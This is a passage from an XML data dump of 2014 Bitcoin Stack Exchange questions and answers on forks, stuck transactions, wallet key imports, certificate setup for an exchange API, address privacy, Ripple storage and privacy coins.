BY-SA 3.0" />
  <row Id="30136" PostTypeId="2" ParentId="5659" CreationDate="2014-08-21T11:22:44.530" Score="0" Body="&lt;p&gt;You can use:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://quickbitcoin.co.uk&quot; rel=&quot;nofollow&quot;&gt;http://quickbitcoin.co.uk&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitbargain.co.uk/&quot; rel=&quot;nofollow&quot;&gt;https://bitbargain.co.uk/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both work fine.&lt;/p&gt;&#xA;" OwnerUserId="19046" LastActivityDate="2014-08-21T11:22:44.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30137" PostTypeId="1" CreationDate="2014-08-21T11:43:03.747" Score="1" ViewCount="383" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;If two nodes broadcast different versions of the next block simultaneously , some nodes may receive one or the other first. In that case, they work on the first one they received but save the other branch in case it becomes longer. The tie will be broken when the next proof-of-work is found and one branch becomes longer;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I got this information from the original publication about Bitcoin. But how long is this second branch saved in memory pool of nodes? How is this conflict resolved actually? Is there any paper mentioning this? &lt;/p&gt;&#xA;" OwnerUserId="18979" LastEditorUserId="13530" LastEditDate="2014-09-22T16:28:21.587" LastActivityDate="2014-09-22T16:28:21.587" Title="Tie Breaking in bitcoin transaction" Tags="|transactions|blockchain|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30138" PostTypeId="1" CreationDate="2014-08-21T11:52:26.243" Score="1" ViewCount="3235" Body="&lt;p&gt;I realise that this might be a duplicate however I have not actually seen a sufficient answer to the question aside from 'wait'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I submitted a transaction yesterday from a blockchain wallet to a Justcoin wallet.&#xA;It was quite a small transaction (test transaction as this is my first) &#xA;Below is the information I have from blockchain:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Fees&lt;/strong&gt;    0.0001 BTC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Estimated BTC Transacted&lt;/strong&gt;    0.00000001 BTC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Size&lt;/strong&gt;    258 (bytes)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Received Time&lt;/strong&gt;   2014-08-20 14:27:54&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Estimated Confirmation Time&lt;/strong&gt;     Within 6 Blocks (Medium Priority) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transaction ID is:&#xA;&lt;a href=&quot;https://blockchain.info/tx/5ea993b10e772f1e31218a02b843adc18a0e4d1176b3127f0170c5c08bb0361c&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/5ea993b10e772f1e31218a02b843adc18a0e4d1176b3127f0170c5c08bb0361c&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I have with this is, it's stopping any other transactions I want to make.&#xA;Anytime I try to move more substantial figures I receive the error: &#xA;&quot;No Free Outputs To Spend - Some funds are pending confirmation and cannot be spent yet&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any idea why it's taking so long (I'm guessing because of it's size?) and if there is anything I can do to expedite the transaction.&lt;/p&gt;&#xA;" OwnerUserId="19049" LastActivityDate="2014-08-21T14:00:06.790" Title="Unconfirmed Transaction &gt;22 hrs" Tags="|blockchain|unconfirmed-transactions|" AnswerCount="1" CommentCount="0" ClosedDate="2014-10-02T05:18:35.383" ContentLicense="CC BY-SA 3.0" />
  <row Id="30139" PostTypeId="1" CreationDate="2014-08-21T11:53:46.787" Score="-1" ViewCount="634" Body="&lt;p&gt;What is the difference between Bitcoin and DigitalCoin? Is there any paper related to DigitalCoin?&lt;/p&gt;&#xA;" OwnerUserId="18979" LastEditorUserId="5406" LastEditDate="2014-09-15T22:29:45.977" LastActivityDate="2015-05-25T14:15:55.913" Title="What are the differences between Bitcoin and DigitalCoin (DGC)?" Tags="|altcoin|digitalcoin|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30140" PostTypeId="1" AcceptedAnswerId="30165" CreationDate="2014-08-21T12:31:53.733" Score="1" ViewCount="176" Body="&lt;p&gt;After I imported keys to the brand new wallet I tried to test that it is imported properly so I ran salvagewallet command to verify my new wallet but got these errors!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2014-08-21 12:17:28 WARNING: CWalletDB::Recover skipping key: &#xA;2014-08-21 12:17:28 WARNING: CWalletDB::Recover skipping key: Error reading wallet database: CPubKey/CPrivKey corrupt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could you please help me to understand/solve this problem?&lt;/p&gt;&#xA;" OwnerUserId="13327" LastActivityDate="2014-08-22T14:00:22.880" Title="Importing keys to a brand new wallet" Tags="|bitcoind|bitcoin-core|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30142" PostTypeId="2" ParentId="30138" CreationDate="2014-08-21T14:00:06.790" Score="3" Body="&lt;p&gt;One of your transaction outputs is below &quot;dust&quot; limit. Most of nodes do not relay and mine such transactions. However, there are miners who accept such transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two possibilities:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;just wait (may be a day or two) for such miner&lt;/li&gt;&#xA;&lt;li&gt;try to double-spend your transaction with another one&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Please read &lt;a href=&quot;https://bitcointalk.org/index.php?topic=232979.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=232979.0&lt;/a&gt; for more info&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2014-08-21T14:00:06.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30143" PostTypeId="2" ParentId="24198" CreationDate="2014-08-21T15:29:23.400" Score="0" Body="&lt;p&gt;A solution I've thought about is to disconnect and then reconnect and subscribe to the few addresses I must watch.&lt;/p&gt;&#xA;" OwnerUserId="18871" LastActivityDate="2014-08-21T15:29:23.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30144" PostTypeId="1" CreationDate="2014-08-21T15:57:08.517" Score="1" ViewCount="939" Body="&lt;p&gt;I was under the assumption that the bitcoind server allowed you to query the blockchain and run commands like &lt;code&gt;bitcoind getbalance&lt;/code&gt; on any address. I'm finding out that you may query addresses in your wallet. Is this correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is required to query the blockchain with commands like think locally without the need for external API's? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My intention is to use a Perl script to get account balances.&lt;/p&gt;&#xA;" OwnerUserId="10278" LastActivityDate="2014-08-23T12:23:00.240" Title="Blockchain command line tools" Tags="|blockchain|bitcoind|development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30146" PostTypeId="2" ParentId="10100" CreationDate="2014-08-21T16:04:11.063" Score="0" Body="&lt;p&gt;Yes, Namecoin is used for .BIT Domains, for MoneGraph (&lt;a href=&quot;http://moneygraph.com&quot; rel=&quot;nofollow&quot;&gt;http://moneygraph.com&lt;/a&gt;) and for OneName (&lt;a href=&quot;http://www.onename.io&quot; rel=&quot;nofollow&quot;&gt;http://www.onename.io&lt;/a&gt;) as the most popular examples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And of course as a currency.&lt;/p&gt;&#xA;" OwnerUserId="14601" LastActivityDate="2014-08-21T16:04:11.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30148" PostTypeId="2" ParentId="241" CreationDate="2014-08-21T17:12:00.367" Score="0" Body="&lt;p&gt;I'd suggest using an escrow/arbitration service that utilizes multisig transactions. That way the escrow service never has full control of the bitcoins, so they can't steal them. The bitcoins can only be released when 2 of the 3 parties (buyer, seller, arbitrator) agree to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.bitrated.com&quot; rel=&quot;nofollow&quot;&gt;Bitrated&lt;/a&gt; is such a service where you can select from a number of different arbitrators.  Other escrow services are listed here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoinhelp.net/know/more/best-escrow-services&quot; rel=&quot;nofollow&quot;&gt;https://bitcoinhelp.net/know/more/best-escrow-services&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16812" LastActivityDate="2014-08-21T17:12:00.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30149" PostTypeId="1" CreationDate="2014-08-21T18:53:03.530" Score="4" ViewCount="4058" Body="&lt;p&gt;What's happening when I use importprivkey? Are the coins merged to my existing private key or is the new key added to my wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to import a private key, receive funds on it, and send the same coins using this key, not the others present in my wallet, is it possible with RPC commands? (for my website, I want the user to be able to see where his money is going by tracking the blockchain).&lt;/p&gt;&#xA;" OwnerUserId="18704" LastEditorUserId="2306" LastEditDate="2014-09-21T16:18:26.197" LastActivityDate="2014-12-21T04:37:15.730" Title="How do I spend Bitcoins from a specific address?" Tags="|transactions|private-key|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30150" PostTypeId="2" ParentId="29628" CreationDate="2014-08-21T22:06:52.773" Score="1" Body="&lt;p&gt;I have got two JREs in my windows 7 machine. I have executed both below listed commands and I am able to connect it btce.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;keytool -import -keystore &quot;C:/Program Files/Java/jdk1.8.0_05/jre/lib/security/cacerts&quot; -storepass &quot;changeit&quot; -noprompt -alias &quot;BTCE&quot; -file C:/Users/Dell/Downloads/btceSERVER.cert&lt;/p&gt;&#xA;&#xA;&lt;p&gt;keytool -import -keystore &quot;C:/Program Files/Java/jre8/lib/security/cacerts&quot; -storepass &quot;changeit&quot; -noprompt -alias &quot;BTCE&quot; -file C:/Users/Dell/Downloads/btceSERVER.cert&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Points to note:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I have mentioned full path for the keystore&lt;/li&gt;&#xA;&lt;li&gt;I have not used trustcacerts&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Awaiting response&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Two ways I can think of to download certificate.&#xA;First(using linux):&#xA;echo -n | openssl s_client -connect btc-e.com:443 | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p' &gt; /tmp/btceSERVERNAME.cert&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second(using firefox):&#xA;1. Visit h t t p s:/ / btc-e.com/&#xA;2. Click on the small Lock icon present in front of https in the url section. This will bring up a small popup&#xA;3. Click &quot;More information&quot; button, this will bring up a popup window titled as &quot;Page info&quot;, &#xA;4. Click &quot;View certificate&quot;, this will bring up certificate viewer&#xA;5. In certificate viewer, select &quot;Details&quot; tab &#xA;6. Click export button, which will bring up file save dialogue to save the cert.&lt;/p&gt;&#xA;" OwnerUserId="19058" LastEditorUserId="19058" LastEditDate="2014-08-22T18:18:20.743" LastActivityDate="2014-08-22T18:18:20.743" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="30152" PostTypeId="1" CreationDate="2014-08-22T00:48:45.477" Score="0" ViewCount="142" Body="&lt;p&gt;so as the tittle says , and if I got right , a bitcoin is given to the first miner who got the right hash , so with 21 million cap does this mean the limit of transactions is also 21 million transaction ? &lt;/p&gt;&#xA;" OwnerUserId="19060" LastEditorUserId="120" LastEditDate="2016-04-10T15:30:43.917" LastActivityDate="2016-04-10T15:30:43.917" Title="if the cap is 21 million bitcoin does this mean that there will be only 21 million transaction?" Tags="|transactions|mining-theory|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30153" PostTypeId="2" ParentId="30152" CreationDate="2014-08-22T01:00:04.217" Score="2" Body="&lt;p&gt;No, this is not correct.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;It is possible to spend tiny fractions of a bitcoin.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Coins can be passed on from person to person (just like any other kind of money).  So the same coins can be involved in many different transactions.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Incidentally, the reward for a valid block hash is currently 25 bitcoins, not 1, though this will decrease over time.  Even after this decreases to 0 (when the total number of bitcoins in circulation is 21 million), it will still be possible to have new transactions as people give each other bitcoins in exchange for goods and services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no practical limit on the number of transactions.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-08-22T01:00:04.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30154" PostTypeId="2" ParentId="30152" CreationDate="2014-08-22T01:00:26.687" Score="2" Body="&lt;p&gt;No. There can be an unlimited number of transactions using the mined to day number of coins, or to be more precise, as of today there can be a maximum of around 604,800 transactions per day (7 tx/sec * 3600 sec/h * 24h) which is an artificial limit set by the protocol and can be lifted at any given time.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-08-22T01:00:26.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30155" PostTypeId="2" ParentId="30149" CreationDate="2014-08-22T06:59:41.227" Score="0" Body="&lt;p&gt;Yes, you can send from specific address using RPC. For sure you can send money from specific address using raw transactions.&lt;br&gt;I haven't used bitcoind for a while, but I hope they might already have added CoinControl.&lt;/p&gt;&#xA;" OwnerUserId="6128" LastActivityDate="2014-08-22T06:59:41.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30158" PostTypeId="1" CreationDate="2014-08-22T10:29:56.200" Score="2" ViewCount="1834" Body="&lt;p&gt;What is the size of the current ledger and all indices required to efficiently search through it or query it? Also, how will this size grow relative to the number of Ripple users?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Side-question: what database technology is used by rippled to store the ledger?&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="5406" LastEditDate="2021-02-01T19:13:39.277" LastActivityDate="2021-02-01T19:13:39.277" Title="What's the size of the last Ripple ledger and the indices to search through it?" Tags="|ripple|storage|ripple-ledger|" AnswerCount="1" CommentCount="0" ClosedDate="2021-02-06T18:35:40.933" ContentLicense="CC BY-SA 3.0" />
  <row Id="30160" PostTypeId="1" AcceptedAnswerId="30161" CreationDate="2014-08-22T11:42:12.987" Score="1" ViewCount="604" Body="&lt;p&gt;How does the bitcoin core efficiently distribute transactions so that they are added to node transaction pools to be inserted into a future block?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that each bitcoin node has a list of peers which they are in communication with.  As an originating node makes a payment, they send the payment across their peer network, which then continues the distribution process by forwarding the transactions to the peers within their peer list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is this process effeciently executed, such that transactions sent from one peer, sent numerous times across the network as it is distributed?  (For further clarification of the problem, see my &lt;strong&gt;Problem Outline&lt;/strong&gt; below.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, how does a node resolve which peers to send new transactions to so that the transactions can be included into their local transaction pool?  If peer filtering doesn't take place, then the result would be a considerable amount of redundant, network traffic.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;PROBLEM OUTLINE&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Consider the following...&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Distribution level #1 - Originator &lt;code&gt;(A)&lt;/code&gt; sends a transaction to peers &lt;code&gt;(B)&lt;/code&gt; &amp;amp; &lt;code&gt;(C)&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Distribution level #2 - Peer &lt;code&gt;(B)&lt;/code&gt; forwards the transaction to peers &lt;code&gt;(D)&lt;/code&gt; &amp;amp; &lt;code&gt;(E)&lt;/code&gt;, &amp;amp; peer &lt;code&gt;(C)&lt;/code&gt; forwards the transaction to peers &lt;code&gt;(F)&lt;/code&gt; &amp;amp; &lt;code&gt;(G)&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Distribution level #3 (Partial) - Peer &lt;code&gt;(D)&lt;/code&gt; forwards the transaction to &lt;code&gt;(C)&lt;/code&gt; and &lt;code&gt;(G)&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This is where we see the problem!  Peer &lt;code&gt;(D)&lt;/code&gt; is completely unaware that nodes &lt;code&gt;(C)&lt;/code&gt; and &lt;code&gt;(G)&lt;/code&gt; have already received this transaction.  At best, &lt;code&gt;(D)&lt;/code&gt; can only know that nodes &lt;code&gt;(A)-&amp;gt;(B)-&amp;gt;(D)&lt;/code&gt; have received this transaction.  Since &lt;code&gt;(D)&lt;/code&gt; is completely unaware of the state of the transaction in nodes &lt;code&gt;(C)&lt;/code&gt;, &lt;code&gt;(E)&lt;/code&gt; &amp;amp; &lt;code&gt;(F)&lt;/code&gt;, peer &lt;code&gt;(D)&lt;/code&gt; can potentially forward the transaction along to a high number of peers that are aware of the transaction.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scale this to thousands of nodes and thousands of transactions and you could have a BIG problem.  How is this resolved?&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2014-08-22T12:20:56.250" Title="How are transactions efficiently distributed to network nodes before inclusion within blocks?" Tags="|transactions|peers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30161" PostTypeId="2" ParentId="30160" CreationDate="2014-08-22T12:20:56.250" Score="2" Body="&lt;p&gt;Have a look into the specifications &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Protocol_specification&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check the &quot;inv&quot; --&gt; &quot;getdata&quot; --&gt; &quot;tx&quot; sequence of transaction distribution&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2014-08-22T12:20:56.250" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30163" PostTypeId="2" ParentId="30140" CreationDate="2014-08-22T13:56:21.683" Score="0" Body="&lt;p&gt;&lt;code&gt;salvagewallet&lt;/code&gt; is a disaster recovery tool, you should never be using it as a &quot;verify&quot; for your wallet. Some of the time &lt;code&gt;salvagewallet&lt;/code&gt; will actually result in loss of funds rather than doing anything useful. Not running the command will fix your problem. &lt;/p&gt;&#xA;" OwnerUserId="19067" LastActivityDate="2014-08-22T13:56:21.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30164" PostTypeId="2" ParentId="30137" CreationDate="2014-08-22T13:59:13.363" Score="1" Body="&lt;p&gt;Most difficult (highest) chain wins. Side chains are stored forever just in case they become valid again. &lt;/p&gt;&#xA;" OwnerUserId="19067" LastActivityDate="2014-08-22T13:59:13.363" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30165" PostTypeId="2" ParentId="30140" CreationDate="2014-08-22T14:00:22.880" Score="1" Body="&lt;p&gt;How can you verify a wallet ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you should use &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;C:\Program Files\Bitcoin\bitcoin-qt.exe&quot; -zapwallettxes  -dbcache=3000&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it will clean the transactions and give you the edge of faster reload.&lt;/p&gt;&#xA;" OwnerUserId="15501" LastActivityDate="2014-08-22T14:00:22.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30166" PostTypeId="2" ParentId="30118" CreationDate="2014-08-22T14:44:06.377" Score="1" Body="&lt;p&gt;Once a day, take the addresses with balances more than some multiple (say, twice) of the average, and create a transaction that sends money to the lowest-value addresses. E.g. let's say the average is 0.5 and call the addresses A-Z:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A: 2.0 BTC&lt;/li&gt;&#xA;&lt;li&gt;B: 1.5 BTC&lt;/li&gt;&#xA;&lt;li&gt;C: 1.0 BTC&lt;/li&gt;&#xA;&lt;li&gt;...[other addresses with under 1 BTC]&lt;/li&gt;&#xA;&lt;li&gt;X: 0.1 BTC&lt;/li&gt;&#xA;&lt;li&gt;Y: 0.05 BTC&lt;/li&gt;&#xA;&lt;li&gt;Z: 0 BTC&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Transaction would send from A, B, and C to X, Y, and Z so that each has the same amount (0.775 BTC).&lt;/p&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2014-08-22T14:44:06.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30168" PostTypeId="1" AcceptedAnswerId="30170" CreationDate="2014-08-22T20:30:50.320" Score="8" ViewCount="683" Body="&lt;p&gt;How can I have friend to send me money without possibility to see my balance?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I give him address where to send bitcoins, he can use e.g. &lt;a href=&quot;https://blockchain.info&quot;&gt;https://blockchain.info&lt;/a&gt; or  &lt;a href=&quot;http://bitref.com/&quot;&gt;http://bitref.com/&lt;/a&gt;  to find my balance. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I create new address, let him send money to the new one and then I forward money to my original address, can it be easily tracked (what is stored in block?) ?&lt;/p&gt;&#xA;" OwnerUserId="19070" LastActivityDate="2014-08-28T20:08:48.093" Title="How can I have friend to send me money without possibility to see my balance?" Tags="|balance|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30170" PostTypeId="2" ParentId="30168" CreationDate="2014-08-22T22:43:16.003" Score="8" Body="&lt;p&gt;You are correct that anyone can see the balance of bitcoins in any address at any time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So a better way to keep your total balance private is to make a new address and ask your friend to send the coins to that address.  Then, &lt;em&gt;don't&lt;/em&gt; transfer the money to another existing address of yours.  Any reasonable wallet software is capable of handling coins divided among many different addresses, and doesn't need them to be consolidated into a single address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you spend coins over time, eventually your wallet will use the coins in the address that your friend paid.  If those coins are combined with coins from another address of yours, your friend might be able to figure out that the coins in that address also belong to you.  But the more you keep your coins spread across multiple addresses, the less of a factor this will be.  If you use a wallet client such as Bitcoin Core which creates new addresses for change, they will spread out even more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, because of this, if you &lt;em&gt;do&lt;/em&gt; send the coins from your friend to an existing address of yours, your friend cannot be sure whether the new destination address actually belongs to you, or to someone else whom you have decided to pay.  But if you don't do that, your friend has even less information.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-08-22T22:43:16.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30171" PostTypeId="1" CreationDate="2014-08-22T23:05:01.023" Score="4" ViewCount="1019" Body="&lt;p&gt;Just curious how many complete implementations of the bip32 standard exist.&lt;/p&gt;&#xA;" OwnerUserId="14586" LastActivityDate="2021-05-20T09:46:19.040" Title="What current wallets support deterministic public addresses (BIP32)?" Tags="|bip32-hd-wallets|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30173" PostTypeId="2" ParentId="30144" CreationDate="2014-08-23T12:23:00.240" Score="2" Body="&lt;p&gt;Bitcoin at the protocol level, the Bitcoin Core implementation and its wallet implementation do not have a concept of &quot;address balance&quot;. The protocol only has a notion of unspent transaction outputs (&quot;coins&quot;) with a particular value and script to limit who can spend it. You can reasonably define the balance of an address as the sum of the values of all unspent transaction outputs with a script that can be spent using the key corresponding to that address, but the core implementation has no need for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The wallet doesn't track address balances either - it considers the pool of coins the entire wallet can spend, and keeps track of their total value. As for privacy of the system (not just yours) the recommendation is to simply use a different address for every incoming transaction, there is little use for per-address tracking either. The next release (0.10) will likely have support for watch-only wallets, which allow adding addresses to the wallet without the corresponding private key, allowing tracking of arbitrary sets of coins, but still not aggregated by address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are external tools that can do efficient querying of such aggregated data from the blockchain, like ABE and Insight.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-08-23T12:23:00.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30175" PostTypeId="2" ParentId="30158" CreationDate="2014-08-23T19:27:57.503" Score="3" Body="&lt;p&gt;Ledger 8470000 in JSON format (without inner nodes) is 115 MB large. You can get it if you issue the &quot;ledger&quot; API call on a rippled that you own - it's an admin-only call, as it takes lots of ressources to assemble it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are asking about the size of the databases rippled uses in the backend, these are about 9 GB (ledger headers + validations archive) ~100 GB (transactions) and ~320GB (RocksDB node store, snappy compression enabled) on my node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rippled can utilize several backends, the most mature/recommended is RocksDB, a LevelDB adaption by facebook. In general rippled just needs a high performance key-value store for the largest chunk of data (nodes), transactions and other stuff is stored in SQLite databases.&lt;/p&gt;&#xA;" OwnerUserId="19077" LastActivityDate="2014-08-23T19:27:57.503" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30176" PostTypeId="2" ParentId="27061" CreationDate="2014-08-23T20:09:43.897" Score="0" Body="&lt;p&gt;I agree with @Eldredge. It's a compiler bug or less likely a hardware problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The usual fix is to make sure you are using the latest gcc and boost. Be wary of the current gcc 4.9. Its reported to have bugs.&lt;/p&gt;&#xA;" OwnerUserId="19082" LastActivityDate="2014-08-23T20:09:43.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30177" PostTypeId="1" AcceptedAnswerId="30180" CreationDate="2014-08-23T21:18:54.913" Score="3" ViewCount="776" Body="&lt;p&gt;I have always noticed the huge increase in cpu usage when I opened &lt;a href=&quot;https://bitcoin.org/en/download&quot; rel=&quot;nofollow&quot;&gt;my client&lt;/a&gt; for the first time in a few days. I was wonder what this is from? I would imagine verifying all of the signatures of the blocks? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially doing the same calculation the miners seek to do and just checking their answers?&lt;/p&gt;&#xA;" OwnerUserId="2931" LastEditorUserId="5406" LastEditDate="2016-04-10T10:10:26.163" LastActivityDate="2016-04-10T10:10:26.163" Title="Why does the Bitcoin core client use so much CPU time while synching?" Tags="|client|synchronization|transaction-verification|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30178" PostTypeId="1" CreationDate="2014-08-23T21:50:16.950" Score="0" ViewCount="77" Body="&lt;p&gt;I am new to these mining things and i want to know that, &quot;What if the difficulty level increase?, would i make a loss with mining? I am mining $1 USD with 5MH/s server with the current difficulty.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone shed some light on this matter? I will be very thankful to him&lt;/p&gt;&#xA;" OwnerUserId="19083" LastEditorUserId="5406" LastEditDate="2016-04-25T17:54:20.637" LastActivityDate="2016-04-25T17:54:20.637" Title="Need help about Mining and Difficulty levels!" Tags="|mining-profitability|" AnswerCount="1" CommentCount="1" ClosedDate="2014-08-24T20:50:08.180" ContentLicense="CC BY-SA 3.0" />
  <row Id="30179" PostTypeId="2" ParentId="29471" CreationDate="2014-08-24T00:25:12.833" Score="12" Body="&lt;p&gt;First of, I am a Monero core developer. I'll try to remain as factual and objective as possible, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, for the simple answer: use &lt;strong&gt;Monero&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And for the longer answer: read Andrew Poelstra's very informative reply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also add the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Zero-Knowledge Proof has several of fundamental issues that may not even be fixable (from the less critical to the most critical): trusted accumulator, lack of academic research, obscuring the whole economy means that it is impossible to notice a bug until the economy had already been badly damaged. See our comparison on Monero ANN.&lt;/li&gt;&#xA;&lt;li&gt;The CryptoNote technology is sound, but most actual implementation of it are not -- Boolberry and particularly Monero being the only ones worth considering, on the grounds of market confidence, activity and volume. &lt;/li&gt;&#xA;&lt;li&gt;Monero also &lt;a href=&quot;https://geti2p.net/en/blog/post/2014/08/15/The-privacy-solutions-project&quot; rel=&quot;nofollow noreferrer&quot;&gt;works with the i2p initiative to obsfuscate IP&lt;/a&gt; (the only thing left visible once CryptoNote is in action).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="19084" LastEditorUserId="-1" LastEditDate="2016-12-07T03:31:02.083" LastActivityDate="2016-12-07T03:31:02.083" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
